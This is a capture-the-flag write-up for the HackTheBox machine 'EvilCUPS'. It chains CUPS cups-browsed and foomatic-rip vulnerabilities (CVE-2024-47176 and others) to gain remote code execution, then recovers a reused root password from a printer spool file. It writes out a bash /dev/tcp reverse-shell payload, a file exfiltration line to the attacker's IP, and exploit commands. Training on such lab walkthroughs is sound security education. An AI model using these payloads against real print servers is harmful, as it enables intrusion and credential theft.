EvilCUPS – HackTheBox Link to heading
- OS: Linux
- Difficulty: Medium
- Platform: HackTheBox
Summary Link to heading
EvilCUPS
is a medium box/machine from HackTheBox
platform. After performing an initial scan to the victim machine, we note that it is running CUPS
service and is using a slighlty outdated version of it. Following the steps presented a few days ago (at the time of writing) from this blog we are allowed to execute commands remotely in the victim machine, gaining initial access to it. After it, inspecting for data files for printers in the system for CUPS
service, we are allowed to obtain a password for the printer service. This password was also used by root
user, gaining total control over the system.
User Link to heading
Starting with an Nmap
scan shows only 2 ports open: 22
SSH
and 631
CUPS
:
❯ sudo nmap -sS --open --min-rate=5000 -p- -n -Pn 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 01:25 -03
Nmap scan report for 10.10.11.40
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
631/tcp open ipp
Nmap done: 1 IP address (1 host up) scanned in 16.91 seconds
Applying some recognition scans we get:
❯ sudo nmap -sVC -p22,631 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 01:26 -03
Nmap scan report for 10.10.11.40
Host is up (0.51s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_ 256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open ipp CUPS 2.4
|_http-title: Home - CUPS 2.4.2
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.89 seconds
We can see that the victim machine is running CUPS
on its default port 631
:
CUPS
is a modular printing system for Unix-like computer operating systems which allows a computer to act as a print server.Visiting http://10.10.11.40:631
in a web browser shows:
As the webpage and Nmap
scan shows, we have a version: 2.4.2
. Based on the copyright message at the bottom left of the webpage (and also Googling CUPS 2.4.2 release date
) shows that this version is from around 2022. The most updated version (at the time of this WriteUp) is 2.4.8
released in April, 2024.
Going to Printers
tab we can see there is 1 installed printer: Canon_MB2300_series
:
If we click on the printer name we can see more info about this printer:
and checking the jobs this printer has done (clicking on Show Completed Jobs
) we get:
There is only 1 job by Witheld
user. So we have a potential username.
I note there are tasks/jobs we are allowed to do in an anonymous sessions and others that we are not. For example, Clicking on Maintenance
at the mid-top left, and then selecting Print Test Page
creates a new job. After some time, if we check the completed job, it has been executed by anonymous
user and the job has been added:
But if we attempt to choose Set Allowed Users
option (clicking on Administration
option and changing it), it redirects us to the site http://10.10.11.40:631/admin/
. Where we basically get 403 Forbidden
status:
❯ curl -I http://10.10.11.40:631/admin/
HTTP/1.1 403 Forbidden
Connection: close
Content-Language: en_US
Content-Length: 370
Content-Type: text/html; charset=utf-8
Date: Thu, 03 Oct 2024 04:46:17 GMT
Accept-Encoding: gzip, deflate, identity
Server: CUPS/2.4 IPP/2.1
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
At this point is where the vulnerabilities enter. About 2 weeks ago a really interesting post was written by Simone Margaritelli (a.k.a evilsocket) in his blog reporting 4 vulnerabilities. Quoting literally from his blog, vulnerabilities are:
- CVE-2024-47176 |
cups-browsed <= 2.0.1
binds onUDP
INADDR_ANY:631
trusting any packet from any source to trigger aGet-Printer-Attributes IPP
request to an attacker controlled URL. - CVE-2024-47076 |
libcupsfilters <= 2.1b1
:cfGetPrinterAttributes5
does not validate or sanitize theIPP
attributes returned from anIPP
server, providing attacker controlled data to the rest of theCUPS
system. - CVE-2024-47175 |
libppd <= 2.1b1
:ppdCreatePPDFromIPP2
does not validate or sanitize theIPP
attributes when writing them to a temporaryPPD
file, allowing the injection of attacker controlled data in the resultingPPD
. - CVE-2024-47177 |
cups-filters <= 2.0.1
:foomatic-rip
allows arbitrary command execution via theFoomaticRIPCommandLine
PPD
parameter.
In simple words, the chained attack is as follows:
Following the steps of the blog, he explained how a bad configuration in UDP
port for CUPS
service and lack of sanitation allowed him to reach an Remote Code Execution
on the systems. Therefore, we check if UDP
protocol is listening in CUPS
port with Nmap
:
❯ sudo nmap -sU -p631 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 02:49 -03
Nmap scan report for 10.10.11.40
Host is up (0.25s latency).
PORT STATE SERVICE
631/udp open|filtered ipp
Nmap done: 1 IP address (1 host up) scanned in 3.13 seconds
It is open. It is a good sign.
We can then use this Python exploit by IppSec (adapted from this CUPS Browsed Github Security Advice) that applies all the steps described previously to run commands. We download the script, create a temporal virtual environment in Python
called evilcups_env
, enable it and install all the needed libraries there:
❯ git clone https://github.com/IppSec/evil-cups.git
<SNIP>
❯ cd evil-cups
❯ python3 -m venv evilcups_env
❯ source evilcups_env/bin/activate
❯ pip3 install -r requirements.txt
❯ python3 evilcups.py -h
evilcups.py <LOCAL_HOST> <TARGET_HOST> <COMMAND>
Now, the “sensitive” part of this exploit is that, for example, if we send us a reverse shell it will share the same PID
of the process ran by the printer. So, if for any reason the (added) bad printer is removed, our revshell might die as well. Theremight be a job running at the background constantly removing the printers. Therefore, our revshell might die. To avoid this problem we can try to create a new PID
handling this process with nohup
command when we send us a revshell. Therefore, if we use this chain attack, it is recommended to use nohup
. As a final advisory, in real life there might not be a task constantly removing printers. If that’s the case (probably a more real one) and our shell dies, we might need to change our IP address since it will not accept a new PPD
file.
Back to the attack. We start a netcat
listener on port 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
and execute the exploit:
❯ python3 evilcups.py 10.10.16.3 10.10.11.40 'nohup bash -c "bash -i >& /dev/tcp/10.10.16.3/443 0>&1" &'
IPP Server Listening on ('10.10.16.3', 12345)
Sending udp packet to 10.10.11.40:631...
Please wait this normally takes 30 seconds...
After 30 seconds have passed, we can check again the printers webpage:
The printer is there.
We can then click on the printer, go to Maintenance
and change it to Print Test Page
:
Once we click on it we can check our netcat
listener and get a shell as lp
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.40] 56334
bash: cannot set terminal process group (4689): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$ whoami
whoami
lp
We can get the user flag at /home/htb
directory.
Root Link to heading
If we want to read CUPS
file, for example, the PPD
injected files we see that we can’t:
lp@evilcups:/$ ls -la /var/spool/cups/
ls: cannot open directory '/var/spool/cups/': Permission denied
lp@evilcups:/$ ls -la /var/spool | grep cups
drwx--x--- 3 root lp 4096 Oct 3 02:12 cups
As we can see with our permissions, we are only allowed to execute files in that directory.
Now, when we can know the PDD filenames based on their jobs names as is explained in CUPS documentation:
/var/spool/cups
. Two types of files will be found in the spool
directory: control files starting with the letter c
(c00001
, c99999
, c100000
, etc.) and data files starting with the letter d
(d00001-001
, d99999-001
, d100000-001
, etc.)The format is d[int with job number, 5 digits]-[int page to read, 3 digits]
. So, for example, if we want to read job 3
and page 2 the filename is d00003-002
; if we want to read job 1 and its page 4, we read d00001-004
and so on… As we have seen at the beggining, there was a printer that was already a Canon
printer running a job by the user Witheld
; when we added a new print test as anonymous
user a job 2 was created (the number after the -
character). So, maybe, we are allowed to read /var/spool/cups/d00001-001
. This will print the first page of the first job running (that was already present on the machine since its origin):
lp@evilcups:/$ cat /var/spool/cups/d00001-001
%!PS-Adobe-3.0
%%BoundingBox: 18 36 577 806
%%Title: Enscript Output
%%Creator: GNU Enscript 1.6.5.90
<SNIP>
(Br3@k-G!@ss-r00t-evilcups) s
_R
S
%%Trailer
%%Pages: 1
%%DocumentNeededResources: font Courier-Bold Courier
%%EOF
(We can already read what seems to be a password…)
We can then try to convert this .ps
file (as the header of the file points) to a PDF. We pass this file to my attacker machine with netcat
. In my attacker machine, I start a simple listener on port 4444
and store its stdout
to a file named printer.ps
:
❯ nc -lvnp 4444 > printer.ps
listening on [any] 4444 ...
Since the victim machine does not have netcat
installed, we can use /dev/tcp
to send us the file:
lp@evilcups:/$ cat /var/spool/cups/d00001-001 > /dev/tcp/10.10.16.3/4444
We can check that both files have the same MD5
hash:
lp@evilcups:/$ md5sum /var/spool/cups/d00001-001
2fb41de3cec5ef29a78c1c825998ac1f /var/spool/cups/d00001-001
and
❯ md5sum printer.ps
2fb41de3cec5ef29a78c1c825998ac1f printer.ps
Data is intact.
We can finally use ps2pdf
command and view the PDF
file:
❯ ps2pdf printer.ps printer.pdf
❯ xdg-open printer.pdf
We have a password: Br3@k-G!@ss-r00t-evilcups
.
We check if this password works for root
user with NetExec
tool:
❯ nxc ssh 10.10.11.40 -u 'root' -p 'Br3@k-G!@ss-r00t-evilcups'
SSH 10.10.11.40 22 10.10.11.40 [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3
SSH 10.10.11.40 22 10.10.11.40 [+] root:Br3@k-G!@ss-r00t-evilcups (Pwn3d!) (root) Linux - Shell access!
and it does.
We can finally log into the victim machine with SSH
as root
user:
❯ sshpass -p 'Br3@k-G!@ss-r00t-evilcups' ssh -o stricthostkeychecking=no root@10.10.11.40
<SNIP>
root@evilcups:~# whoami
root
We can get the root
flag at /root
directory.
~Happy Hacking